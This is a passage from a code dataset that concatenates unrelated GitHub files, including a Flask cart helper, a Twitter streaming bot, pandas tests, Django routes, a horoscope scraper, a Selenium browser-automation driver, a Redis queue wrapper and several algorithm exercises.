REGION)':\r\n\t\tr1 = 'active'\r\n\tif region == 'REGION II (CAGAYAN VALLEY)':\r\n\t\tr2 = 'active'\r\n\tif region == 'REGION III (CENTRAL LUZON)':\r\n\t\tr3 = 'active'\r\n\tif region == 'REGION IV-A (CALABARZON)':\r\n\t\tr4a = 'active'\r\n\tif region == 'REGION IV-B (MIMAROPA)':\r\n\t\tr4b = 'active'\r\n\tif region == 'REGION V (BICOL REGION)':\r\n\t\tr5 = 'active'\t\r\n\tif region == 'REGION VI (WESTERN VISAYAS)':\r\n\t\tr6 = 'active'\t\r\n\tif region == 'REGION VII (CENTRAL VISAYAS)':\r\n\t\tr7 = 'active'\t\r\n\tif region == 'REGION VIII (EASTERN VISAYAS)':\r\n\t\tr8 = 'active'\r\n\tif region == 'REGION IX (ZAMBOANGA PENINSULA)':\r\n\t\tr9 = 'active'\r\n\tif region == 'REGION X (NORTHERN MINDANAO)':\r\n\t\tr10 = 'active'\r\n\tif region == 'REGION XI (DAVAO REGION)':\r\n\t\tr11 = 'active'\r\n\tif region == 'REGION XII (SOCCSKSARGEN)':\r\n\t\tr12 = 'active'\r\n\tif region == 'NATIONAL CAPITAL REGION (NCR)':\r\n\t\tr13 = 'active'\r\n\tif region == 'CORDILLERA ADMINISTRATIVE REGION (CAR)':\r\n\t\tr14 = 'active'\r\n\tif region == 'BANGSAMORO AUTONOMOUS REGION IN MUSLIM MINDANAO (BARMM)':\r\n\t\tr15 = 'active'\r\n\tif region == 'REGION XIII (Caraga)' :\r\n\t\tr16 = 'active'\r\n\treturn [r1,r2,r3,r4,r5,r6,r7,r8,r9,r10,r11,r12,r13,r14,r15,r16]\r\n\r\ndef get_user_address(user_info):\r\n\tif user_info:\r\n\t\taddress = user_info['address']\r\n\t\tif len(address) > 0:\r\n\t\t\tadrs = list(address.split(\"|\"))\r\n\t\t\treturn adrs\r\n\t\telse:\r\n\t\t\treturn ['','','','','']\r\n\r\ndef set_users_cart_to_cache():\r\n\tusers_cart = db.cart.find({ 'username': login_classifier() })\r\n\tusers_cart_list = []\r\n\tif users_cart:\r\n\t\tfor items in users_cart:\r\n\t\t\tusers_cart_list.append({ 'username': login_classifier(), 'product_id': items['product_id'], 'product_name': items['product_name'] , 'price': items['price'] , 'qty': items['qty'], 'total_price' : items['total_price'], 'img': items['img'], 'distributor_id': items['distributor_id']})\r\n\t\t\tif 'cart_items' in session:\r\n\t\t\t\tsession.pop('cart_items', None)\r\n\t\t\t\tsession['cart_items'] = users_cart_list\r\n\t\t\telse:\r\n\t\t\t\tsession['cart_items'] = users_cart_list\r\n\t\t\t\t\r\n","repo_name":"jearbecerro/Bukid-City","sub_path":"ecommerce/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"7924159193","text":"import tkinter as tk\nimport os\n\nwin = tk.Tk()\nwin.geometry('400x300+600+400')\nwin.title('在.py中运行其他.py脚本文件')\n\n\ndef btnRun_click():\n os.system(\"python tkWindow.py\") # 运行另一个python脚本文件\n\n# 运行按钮\nbtnRun = tk.Button(win)\nbtnRun[\"text\"] = \"运行tkWindow.py\"\nbtnRun[\"width\"] = 30\nbtnRun[\"height\"] = 3\nbtnRun[\"command\"] = btnRun_click\nbtnRun.place(x=10,y=10)\n\n\n\nwin.mainloop()","repo_name":"xun69/pyGUItest","sub_path":"runPyinPy.py","file_name":"runPyinPy.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8180446070","text":"Import('env')\nclient_files = Split(\n \"\"\"client.cpp\n \"\"\"\n )\n\nclient_cflags = Split(\n \"\"\"-DHAVE_PTHREADS\n -DHAVE_SYS_UIO_H\n -DHAVE_ENDIAN_H\n -DHAVE_ANDROID_OS=1\"\"\"\n )\n\nenv.Append(CPPPATH=['.', '../iotdaemon/', '../core/include/'])\nenv.Program('../bin/iotclient', client_files, CCFLAGS=client_cflags, CXXFLAGS='-std=c++11', LIBS=['utils', 'binder', 'pthread', 'cutils', 'iotdaemon'], LIBPATH='../libs/')\n","repo_name":"zhangjie201412/imx6ul-iot","sub_path":"iot-core_new/iot/client/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39632283840","text":"import tweepy\nimport os\nimport logging\n\nimport pytz\n\nfrom test_only_exception import TestOnlyException\n\nnyse = pytz.timezone('US/Eastern')\n\n\nclass TwitterFront(tweepy.Stream):\n LOG = logging.getLogger(__name__)\n\n def __init__(self, consume, test=False):\n self.LOG.debug(\"Logging into twitter..\")\n\n consumer_key = os.environ[\"twitter_api_key\"]\n consumer_secret = os.environ[\"twitter_api_secret\"]\n access_token = os.environ[\"twitter_api_access_token\"]\n access_token_secret = os.environ[\"twitter_api_access_token_secret\"]\n\n self.twitter_handles_to_follow = os.environ[\"twitter_handles_to_follow\"].split()\n\n tweepy.Stream.__init__(self, consumer_key, consumer_secret, access_token, access_token_secret)\n self.LOG.info(\"Logged in!\")\n\n bearer_token = os.environ[\"twitter_api_bearer_token\"]\n client = tweepy.Client(bearer_token)\n self.user_ids_to_follow = list(\n map(lambda handle: client.get_user(username=handle).data.id,\n self.twitter_handles_to_follow))\n\n self.LOG.info(f\"These are the handles we're following: {self.twitter_handles_to_follow}\")\n self.LOG.info(f\"And these are their IDs: {self.user_ids_to_follow}\")\n\n self.consume = consume\n self.test = test\n\n # Inherited from tweepy.Stream\n def on_status(self, tweet):\n if (not tweet.author.screen_name in self.twitter_handles_to_follow) and (not self.test):\n self.LOG.info(f\"Ignoring tweet from author: {tweet.author.screen_name}\")\n return\n\n url = f\"https://twitter.com/{tweet.user.screen_name}/status/{tweet.id}\"\n data = {\n 'url': url,\n 'screen_name': tweet.user.screen_name,\n 'created_at': tweet.created_at.astimezone(nyse),\n 'tweet_id': tweet.id\n }\n self.LOG.info(f\"consuming {data}\")\n self.consume(data)\n\n if self.test:\n raise TestOnlyException\n\n def stream(self):\n if self.test:\n self.filter(track=\"Twitter\")\n else:\n self.filter(follow=self.user_ids_to_follow, threaded=True)\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n twitter_front = TwitterFront(lambda x: logging.info(f\"new tweet {x}\"), test=True)\n twitter_front.stream()\n","repo_name":"halfdane/superstonkTweetBot","sub_path":"src/twitter_front.py","file_name":"twitter_front.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"3881667540","text":"# -*- coding: utf-8 -*-\n\nimport pytest\n\nimport numpy as np\n\nimport pandas.util.testing as tm\nfrom pandas import Categorical, Index, PeriodIndex\nfrom pandas.tests.categorical.common import TestCategorical\n\n\nclass TestCategoricalIndexingWithFactor(TestCategorical):\n\n def test_getitem(self):\n assert self.factor[0] == 'a'\n assert self.factor[-1] == 'c'\n\n subf = self.factor[[0, 1, 2]]\n tm.assert_numpy_array_equal(subf._codes,\n np.array([0, 1, 1], dtype=np.int8))\n\n subf = self.factor[np.asarray(self.factor) == 'c']\n tm.assert_numpy_array_equal(subf._codes,\n np.array([2, 2, 2], dtype=np.int8))\n\n def test_setitem(self):\n\n # int/positional\n c = self.factor.copy()\n c[0] = 'b'\n assert c[0] == 'b'\n c[-1] = 'a'\n assert c[-1] == 'a'\n\n # boolean\n c = self.factor.copy()\n indexer = np.zeros(len(c), dtype='bool')\n indexer[0] = True\n indexer[-1] = True\n c[indexer] = 'c'\n expected = Categorical(['c', 'b', 'b', 'a', 'a', 'c', 'c', 'c'],\n ordered=True)\n\n tm.assert_categorical_equal(c, expected)\n\n\nclass TestCategoricalIndexing(object):\n\n def test_getitem_listlike(self):\n\n # GH 9469\n # properly coerce the input indexers\n np.random.seed(1)\n c = Categorical(np.random.randint(0, 5, size=150000).astype(np.int8))\n result = c.codes[np.array([100000]).astype(np.int64)]\n expected = c[np.array([100000]).astype(np.int64)].codes\n tm.assert_numpy_array_equal(result, expected)\n\n def test_periodindex(self):\n idx1 = PeriodIndex(['2014-01', '2014-01', '2014-02', '2014-02',\n '2014-03', '2014-03'], freq='M')\n\n cat1 = Categorical(idx1)\n str(cat1)\n exp_arr = np.array([0, 0, 1, 1, 2, 2], dtype=np.int8)\n exp_idx = PeriodIndex(['2014-01', '2014-02', '2014-03'], freq='M')\n tm.assert_numpy_array_equal(cat1._codes, exp_arr)\n tm.assert_index_equal(cat1.categories, exp_idx)\n\n idx2 = PeriodIndex(['2014-03', '2014-03', '2014-02', '2014-01',\n '2014-03', '2014-01'], freq='M')\n cat2 = Categorical(idx2, ordered=True)\n str(cat2)\n exp_arr = np.array([2, 2, 1, 0, 2, 0], dtype=np.int8)\n exp_idx2 = PeriodIndex(['2014-01', '2014-02', '2014-03'], freq='M')\n tm.assert_numpy_array_equal(cat2._codes, exp_arr)\n tm.assert_index_equal(cat2.categories, exp_idx2)\n\n idx3 = PeriodIndex(['2013-12', '2013-11', '2013-10', '2013-09',\n '2013-08', '2013-07', '2013-05'], freq='M')\n cat3 = Categorical(idx3, ordered=True)\n exp_arr = np.array([6, 5, 4, 3, 2, 1, 0], dtype=np.int8)\n exp_idx = PeriodIndex(['2013-05', '2013-07', '2013-08', '2013-09',\n '2013-10', '2013-11', '2013-12'], freq='M')\n tm.assert_numpy_array_equal(cat3._codes, exp_arr)\n tm.assert_index_equal(cat3.categories, exp_idx)\n\n def test_categories_assigments(self):\n s = Categorical([\"a\", \"b\", \"c\", \"a\"])\n exp = np.array([1, 2, 3, 1], dtype=np.int64)\n s.categories = [1, 2, 3]\n tm.assert_numpy_array_equal(s.__array__(), exp)\n tm.assert_index_equal(s.categories, Index([1, 2, 3]))\n\n # lengthen\n def f():\n s.categories = [1, 2, 3, 4]\n\n pytest.raises(ValueError, f)\n\n # shorten\n def f():\n s.categories = [1, 2]\n\n pytest.raises(ValueError, f)\n","repo_name":"alexfrancow/A-Detector","sub_path":"venv/lib/python3.6/site-packages/pandas/tests/categorical/test_indexing.py","file_name":"test_indexing.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"11"} +{"seq_id":"12530267621","text":"from django.urls import path\nfrom students import views\n\nurlpatterns = [\n path('', views.home, name='home'),\n \n # student url\n path('student/list', views.list_students, name='student_list'),\n path('student/new', views.create_student, name='student_new'),\n path('student/edit/', views.update_student, name='student_edit'),\n path('student/detail/', views.detail_student, name='student_detail'),\n path('student/delete/', views.delete_student, name='student_delete'),\n path('student/partial_delete/', views.partial_delete_student, name='student_partial_delete'),\n \n # group url\n path('group/list', views.list_groups, name='group_list'),\n path('group/new', views.create_group, name='group_new'),\n path('group/edit/', views.update_group, name='group_edit'),\n path('group/detail/', views.detail_group, name='group_detail'),\n path('group/delete/', views.delete_group, name='group_delete'),\n path('group/partial_delete/', views.partial_delete_group, name='group_partial_delete'),\n \n]\n","repo_name":"nelvispr90/firedevs_assement","sub_path":"students/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19769576799","text":"from flask import jsonify\nimport os\nfrom bs4 import BeautifulSoup\nimport requests\nimport json\nimport time\n\ndef crawl():\n url = 'http://astro.click108.com.tw/daily_10.php?iAstro='\n horoscopes = ['牡羊座','金牛座','雙子座','巨蟹座','獅子座','處女座','天秤座','天蠍座','射手座','魔羯座','水瓶座','雙魚座']\n\n daily_horoscopes = {}\n for key,horoscope in enumerate(horoscopes):\n request = requests.get( url + str(key))\n time.sleep(1)\n if request.status_code == requests.codes.ok:\n soup = BeautifulSoup(request.text, 'html.parser')\n daily_horoscopes.update({\n horoscope : format(soup)\n })\n\n with open('daily-horoscopes.json', 'w') as outfile:\n json.dump(daily_horoscopes, outfile,ensure_ascii=False)\n\n return jsonify(daily_horoscopes)\n\ndef format(soup):\n today_word = soup.find('div', class_='TODAY_WORD').find('p').get_text(strip=True)\n color = soup.find('div', class_='TODAY_LUCKY').select('h4')[1].get_text(strip=True)\n content = soup.find('div', class_='TODAY_CONTENT')\n p_tags = content.select('p')\n\n star_entirety = content.find('span', class_='txt_green').get_text(strip=True)\n desc_entirety = p_tags[1].get_text(strip=True)\n\n star_love= content.find('span', class_='txt_pink').get_text(strip=True)\n desc_love = p_tags[3].get_text(strip=True)\n\n star_work= content.find('span', class_='txt_blue').get_text(strip=True)\n desc_work = p_tags[5].get_text(strip=True)\n\n star_money= content.find('span', class_='txt_orange').get_text(strip=True)\n desc_money = p_tags[7].get_text(strip=True)\n\n return {\n 'TODAY_WORD': today_word,\n 'LUCKY_COLOR': color,\n 'STAR_ENTIRETY': star_entirety,\n 'DESC_ENTIRETY': desc_entirety,\n 'STAR_LOVE': star_love,\n 'DESC_LOVE': desc_love,\n 'STAR_WORK': star_work,\n 'DESC_WORK': desc_work,\n 'STAR_MONEY': star_money,\n 'DESC_MONEY': desc_money\n }\n ","repo_name":"yuchitung/daily-horoscopes-api","sub_path":"crawl.py","file_name":"crawl.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22454280186","text":"from flask import Flask, request, render_template\nfrom tensorflow.keras.models import load_model\nfrom config import *\n\napp = Flask(__name__)\nmodel = load_model(CLS_MODEL)\n\n@app.route('/')\ndef homepage():\n return render_template('index.html')\n\n@app.route('/', methods=['POST'])\ndef receive_text():\n text = request.form['text']\n sentiment = predict_sentiment(text)\n return render_template('index.html', sentiment=sentiment, text=text)\n\ndef predict_sentiment(text):\n if text != '':\n if NN_ARCHITECTURE == 'cnn':\n from cnn import CNN_predict\n return CNN_predict(text, model)\n elif NN_ARCHITECTURE == 'lstm-cnn':\n from lstm_cnn import LSTM_CNN_predict\n return LSTM_CNN_predict(text, model)\n return -1\n\nif __name__ == \"__main__\":\n app.run(host=HOST, port=PORT)","repo_name":"ntkien2907/Vietnamese-Sentiment-Analysis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19776336769","text":"class Solution(object):\n def lengthOfLIS(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n dp = []\n for i, num in enumerate(nums):\n\n dp.append(max([dp[j]+1 for j in range(i) if nums[j] < nums[i]] + [1]))\n return max(dp) if dp else 0\n ","repo_name":"yuchien302/LeetCode","sub_path":"leetcode300.py","file_name":"leetcode300.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"31846592724","text":"import time\nfrom tempfile import mkdtemp\nfrom typing import Optional, Tuple\n\nimport pyautogui\nimport requests\nimport undetected_chromedriver as uc # type: ignore\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.remote.webelement import WebElement\n\nfrom extension import load_extension\nfrom utils.config import config\n\n\nclass AutotabChromeDriver(uc.Chrome):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def find_element_with_retry(\n self, by=By.ID, value: Optional[str] = None\n ) -> WebElement:\n try:\n return super().find_element(by, value)\n except Exception as e:\n # TODO: Use an LLM to retry, finding a similar element on the DOM\n breakpoint()\n raise e\n\n def open_plugin(self):\n print(\"Opening plugin sidepanel\")\n self.execute_script(\"document.activeElement.blur();\")\n pyautogui.press(\"esc\")\n pyautogui.hotkey(\"command\", \"shift\", \"y\", interval=0.05) # mypy: ignore\n\n def open_plugin_and_login(self):\n if config.autotab_api_key is not None:\n backend_url = (\n \"http://localhost:8000\"\n if config.environment == \"local\"\n else \"https://api.autotab.com\"\n )\n self.get(f\"{backend_url}/auth/signin-api-key-page\")\n response = requests.post(\n f\"{backend_url}/auth/signin-api-key\",\n json={\"api_key\": config.autotab_api_key},\n )\n cookie = response.json()\n if response.status_code != 200:\n if response.status_code == 401:\n raise Exception(\"Invalid API key\")\n else:\n raise Exception(\n f\"Error {response.status_code} from backend while logging you in with your API key: {response.text}\"\n )\n cookie[\"name\"] = cookie[\"key\"]\n del cookie[\"key\"]\n self.add_cookie(cookie)\n\n self.get(\"https://www.google.com\")\n self.open_plugin()\n else:\n print(\"No autotab API key found, heading to autotab.com to sign up\")\n\n url = (\n \"http://localhost:3000/dashboard\"\n if config.environment == \"local\"\n else \"https://autotab.com/dashboard\"\n )\n self.get(url)\n time.sleep(0.5)\n\n self.open_plugin()\n\n\ndef get_driver(\n autotab_ext_path: Optional[str] = None,\n include_ext: bool = True,\n headless: bool = False,\n window_size: Optional[Tuple[int, int]] = None,\n) -> AutotabChromeDriver:\n options = webdriver.ChromeOptions()\n options.add_argument(\"--no-sandbox\") # Necessary for running\n options.add_argument(\n \"--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\"\n )\n options.add_argument(\"--enable-webgl\")\n options.add_argument(\"--enable-3d-apis\")\n options.add_argument(\"--enable-clipboard-read-write\")\n options.add_argument(\"--disable-popup-blocking\")\n\n if include_ext:\n if autotab_ext_path is None:\n load_extension()\n options.add_argument(\"--load-extension=./src/extension/autotab\")\n else:\n options.add_argument(f\"--load-extension={autotab_ext_path}\")\n\n if window_size is not None:\n width, height = window_size\n options.add_argument(f\"--window-size={width},{height}\")\n\n if headless:\n options.add_argument(\"--headless\")\n\n options.add_argument(\"--allow-running-insecure-content\")\n options.add_argument(\"--disable-web-security\")\n options.add_argument(f\"--user-data-dir={mkdtemp()}\")\n options.binary_location = config.chrome_binary_location\n\n driver = AutotabChromeDriver(options=options)\n\n if window_size is not None:\n width, height = window_size\n driver.set_window_size(width, height)\n\n return driver\n","repo_name":"Planetary-Computers/autotab-starter","sub_path":"src/utils/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":4026,"program_lang":"python","lang":"en","doc_type":"code","stars":881,"dataset":"github-code","pt":"11"} +{"seq_id":"9486425112","text":"class MobilePhone:\n _battery=100 \n\n def __init__(self, imei, os_info) -> None:\n self._imei = imei\n self._os_info = os_info\n\n def info(self):\n if self._battery == 0:\n return f'Телефон разряжен. Зарядите телефон' \n elif self._battery >= 0:\n if self._battery == 0.5:\n self._battery -= 0.5\n return f'Телефон имеет imei: {self._imei} и на нем установлена ОС: {self._os_info}.\\nОстаток заряда составляет: {self._battery}%.\\nЗарядите телефон'\n else:\n self._battery -= 0.5\n return f'Телефон имеет imei: {self._imei} и на нем установлена ОС: {self._os_info}.\\nОстаток заряда составляет: {self._battery}%'\n \n def listening_to_music(self):\n if self._battery > 0:\n if self._battery < 5:\n return f'Вы более не можете слушать музыку. Простите. Зарядите телефон.'\n elif self._battery == 5:\n self._battery -= 5\n return f'Вы прослушали музыку, но телефон уже разрядился. Заряд батареи: {self._battery}%.\\nЗарядите телефон'\n else:\n self._battery -= 5\n return f'Приятного прослушивания музыки. Заряд батареи: {self._battery}%'\n else:\n return f'Телефон разряжен. Зарядите телефон'\n\n def watching_video(self):\n if self._battery > 0:\n if self._battery > 10:\n self._battery -= 7\n return f'Приятного просмотра видео. Заряд батареи: {self._battery}%'\n else:\n return f'Уровень заряда батареи составляет {self._battery}%. При таком заряде нельзя просматривать видео. Зарядите телефон'\n else:\n return f'Телефон разряжен. Зарядите его'\n \n def charge(self):\n import time\n\n count_time = 0\n while self._battery < 100:\n if self._battery > 90:\n self._battery += 100 - self._battery\n else:\n self._battery += 10 \n time.sleep(1)\n count_time += 1\n print(f'За {count_time} сек заряд составил {self._battery}%')\n \niphone = MobilePhone('wewe3', 'iOs')\nprint(iphone.listening_to_music())\nprint(iphone.listening_to_music())\nprint(iphone.listening_to_music())\nprint(iphone.watching_video())\nprint(iphone.watching_video())\nprint(iphone.watching_video())\nprint(iphone.watching_video())\nprint(iphone.watching_video())\nprint(iphone.watching_video())\nprint(iphone.watching_video())\nprint(iphone.watching_video())\nprint(iphone.watching_video())\nprint(iphone.watching_video())\nprint(iphone.listening_to_music())\n# print(iphone.listening_to_music())\n# print(iphone.listening_to_music())\n# print(iphone.listening_to_music())\n# # iphone.charge()\n# print(iphone.info())\n# print(iphone.info())\n# print(iphone.info())\n# print(iphone.info())\n# print(iphone.info())\n# print(iphone.info())\n# print(iphone.info())\n# print(iphone.info())\n# print(iphone.info())\n# print(iphone.info())\n# print(iphone.info())\niphone.charge()\nprint(iphone.watching_video())","repo_name":"123kolobok321/ev.28_lections","sub_path":"OOP/telephon.py","file_name":"telephon.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14683526628","text":"'''\n* 🙆‍��️ Created by wwlee94 on 2020.04.21\nhttps://programmers.co.kr/learn/courses/30/lessons/17681\n\n- 문제 풀이 방법 -\n1. 각 정수를 or 연산해준 후 2진수로 변환\n2. 변환된 2진수의 자리수를 맞춰줌 \n3. 1 -> '#', 0 -> ' ' 으로 변경 !\n\n추가 팁)\n2번 과정의 방법 2가지를 소개\n1. answer[i]=answer[i].rjust(n,'0') -> 오른쪽에 n크기가 되도록 '0'을 붙인다.\n2. 1번 변환 과정에서 zfill(n)을 사용하여 2진수를 변경한다.\nEx) format(10, 'b') -> 1010\nEx) format(10, 'b').zfill(n) -> 001010\n'''\n\ndef solution(n, arr1, arr2):\n answer = []\n \n # or 연산\n for i in range(n):\n answer.append(format(arr1[i] | arr2[i], 'b'))\n \n # 자리수 맞추기\n for i in range(n):\n _len = len(answer[i])\n answer[i] = (n - _len) * '0' + answer[i]\n \n # 변환\n for i in range(n):\n answer[i] = answer[i].replace('1','#')\n answer[i] = answer[i].replace('0',' ')\n \n return answer","repo_name":"wwlee94/everyday-algorithm","sub_path":"python/algorithm-test/2018-KAKAO/비밀지도.py","file_name":"비밀지도.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"28410491637","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'werewolfLu'\n\n\nimport time\nfrom threading import Thread\nfrom rsmq import RedisSMQ\nfrom rsmq.consumer import RedisSMQConsumer, RedisSMQConsumerThread\ntry:\n from modules.mlogger import mlogger as logging\nexcept ImportError as e:\n import logging\n\n\nDEFAULT = {\n 'server': '192.168.31.33'\n}\n\n\n\nclass RSMQueue(object):\n _msg = []\n\n def __init__(self, qname, host=DEFAULT['server']):\n self.host = host\n self.qname = qname\n self.queue = RedisSMQ(host=host, qname=qname)\n self.consumer = None\n self.callback = None\n\n try:\n self.queue.deleteQueue().execute()\n except Exception as e:\n logging.error('[Exception] RSMQueue deleteQueue: %s', e)\n print('[Exception] RSMQueue deleteQueue: %s', e)\n\n try:\n self.queue.createQueue(delay=0).maxsize(-1).vt(0).execute()\n except Exception as e:\n logging.error('[Exception] RSMQueue createQueue: %s', e)\n print('[Exception] RSMQueue createQueue: %s', e)\n\n def set_callback(self, callback):\n self.callback = callback\n\n def publish(self, message):\n message_id = self.queue.sendMessage(delay=0).message(message).execute()\n self._msg.append(message_id)\n while len(self._msg) > 10:\n print(self._msg)\n try:\n self.queue.deleteMessage(id=self._msg[0]).execute()\n del self._msg[0]\n except Exception as e:\n logging.error('[Exception] RSMQueue publish: %s', e)\n print('[Exception] RSMQueue publish: %s', e)\n\n return message_id\n\n def deleteMessage(self, mid):\n return self.queue.deleteMessage(id=mid).execute()\n\n def subscribe1(self, qname, callback):\n self.consumer = RedisSMQConsumerThread(qname, callback, host=DEFAULT['server'])\n self.consumer.start()\n return self.consumer\n\n def receiveMessage(self, callback):\n try:\n id, message, rc, ts = self.queue.popMessage().execute()\n if callback and callable(callback):\n callback(message)\n except Exception as e:\n print('[Exception] receivemessage', e)\n\n def subscribe(self, callback, freq=10):\n queue = self.queue\n\n def f(callback):\n while True:\n try:\n rt = queue.popMessage().execute()\n print(rt)\n if rt['id'] and callback and callable(callback):\n callback(rt['message'])\n except Exception as e:\n print('[Exception] receivemessage', e)\n pass\n time.sleep(1/freq)\n\n t = Thread(target=f, args=(callback,))\n t.start()\n return t\n\n def cancel_subscribe(self):\n if self.consumer:\n self.consumer.stop()\n\n def peak(self):\n def _peak(id, message, rc, ts):\n print(\"\\t\\tpeak\", id, message, rc, ts)\n time.sleep(0.1)\n return False\n self.subscribe( _peak)\n\n\ndef print_out(message):\n print(\"receive\", message)\n return True\n\n\nif __name__ == '__main__':\n\n q1 = RSMQueue('test1')\n q2 = RSMQueue('test2')\n\n\n\n # q.peak('test')\n # t1 = q1.subscribe(print_out)\n #\n # t2 = q2.subscribe(print_out)\n\n # t1.join()\n # t2.join()\n\n\n while True:\n msg = str(time.time())\n\n mid = q1.publish(msg)\n print('publish 1', mid, msg)\n\n mid = q2.publish(msg)\n print('publish 2', mid, msg)\n\n time.sleep(.1)\n #\n # t.join()\n\n\n # # example\n # FACE_IMG_QUEUE = \"realSense\"\n #\n # queue = RSMQueue(host=\"192.168.31.184\", qname=FACE_IMG_QUEUE)\n # queue.publish('img')\n #\n #\n # FACE_IMG_QUEUE = \"faceDetector\"\n #\n # queue2 = RSMQueue(host=\"192.168.31.184\", qname=FACE_IMG_QUEUE)\n # queue2.publish([{\"location\": [176, 814, 412, 578], \"depth\": 0.14561183750629425, \"user_name\": \"\\u6731\\u742a\\u742a\", \"face_score\": 80, \"gender\": \"male\", \"age\": 20, \"glasses\": \"common\", \"emotion\": \"neutral\"}, {\"location\": [600, 202, 796, 6], \"depth\": 0.2120695263147354, \"user_name\": \"\\u6731\\u742a\\u742a\", \"face_score\": 80, \"gender\": \"male\", \"age\": 20, \"glasses\": \"common\", \"emotion\": \"neutral\"}, {\"location\": [390, 446, 528, 308], \"depth\": 0.2737625539302826, \"user_name\": \"\\u6731\\u742a\\u742a\", \"face_score\": 80, \"gender\": \"male\", \"age\": 20, \"glasses\": \"common\", \"emotion\": \"neutral\"}])\n #\n\n\n","repo_name":"YufengLii/TableHumanCounting","sub_path":"modules/mqutil.py","file_name":"mqutil.py","file_ext":"py","file_size_in_byte":4522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"15687203292","text":"# coding: utf-8\n\n# Captured from: _https://forum.omz-software.com/topic/2490/bounds-vrs-frame-center-etc-in-ui/14_\n\nimport ui\n\nclass Tester(ui.View):\n\tdef __init__(self, frame):\n\t\tself.frame = frame\n\t\tself.background_color = 'white'\n\t\tbtn = ui.Button(title = 'test button')\n\t\tbtn.width = 100\n\t\tbtn.center = self.center\n\t\tself.add_subview(btn)\n\t\t\nif __name__ == '__main__':\n\tf = (0,0,500,500)\n\tt = Tester(frame = f)\n\tt.present('sheet')\n\t\n###==============================\n\n\tbtn.center = (self.bounds.center())\n\t\n###==============================\n\nimport ui\nbutton = ui.Button(title='button')\nbutton.present(hide_title_bar=True)\nprint('center', button.center)\nprint('bounds', button.bounds, button.bounds.center())\nprint(' frame', button.frame, button.frame.center())\n\n###==============================\n\n# hide_title_bar=False\n('center', Point(512.00, 416.00))\n('bounds', Rect(0.00, 0.00, 1024.00, 704.00), Point(512.00, 352.00))\n(' frame', Rect(0.00, 64.00, 1024.00, 704.00), Point(512.00, 416.00))\n\n# hide_title_bar=True\n('center', Point(512.00, 384.00))\n('bounds', Rect(0.00, 0.00, 1024.00, 768.00), Point(512.00, 384.00))\n(' frame', Rect(0.00, 0.00, 1024.00, 768.00), Point(512.00, 384.00))\n\n###==============================\n\ndef layout(self):\n\t\t# This will be called when a view is resized. You should typically set the\n\t\t# frames of the view's subviews here, if your layout requirements cannot\n\t\t# be fulfilled with the standard auto-resizing (flex) attribute.\n\tpass\n\t\n# ________\n\nimport objc_util\n\ndef get_presented_size(mode,hide_title_bar=False):\n\t''' see https://forum.omz-software.com/topic/1618/any-ios-device/7'''\n\tf=objc_util.ObjCClass('UIApplication').sharedApplication().keyWindow().frame()\n\tsz= ui.Size(f.size.width,f.size.height)\n\tif sz[1]<=320:\n\t\tstatus_height=0\n\t\ttitle_height=32\n\telse:\n\t\tstatus_height=20\n\t\ttitle_height=44\n\t\t\n\tif mode=='sheet':\n\t\tmaxsize=min( sz-(0,title_height*(not hide_title_bar)))\n\t\treturn ui.Size(maxsize,maxsize)\n\telif mode=='panel':\n\t\treturn sz-(0,status_height+(title_height*(not hide_title_bar)))\n\telif mode=='fullscreen':\n\t\treturn sz-(0,(title_height*(not hide_title_bar)))\n\n","repo_name":"tdamdouni/Pythonista","sub_path":"ui/bounds-vrs-frame-center-etc-in-ui.py","file_name":"bounds-vrs-frame-center-etc-in-ui.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":981,"dataset":"github-code","pt":"11"} +{"seq_id":"70376719068","text":"# https://leetcode.com/problems/4sum/\r\n\r\nfrom typing import List\r\n\r\nclass Solution:\r\n\tdef fourSum(self, nums: List[int], target: int) -> List[List[int]]:\r\n\t\tquadruplets, quadruplet = list(), list()\r\n\t\tnums.sort()\r\n\r\n\t\tdef helper(k, index, target):\r\n\t\t\tif k == 2: # base case\r\n\t\t\t\tl, r = index, len(nums)-1\r\n\t\t\t\twhile l < r:\r\n\t\t\t\t\tif nums[l] + nums[r] < target:\r\n\t\t\t\t\t\tl += 1\r\n\t\t\t\t\telif nums[l] + nums[r] > target:\r\n\t\t\t\t\t\tr -= 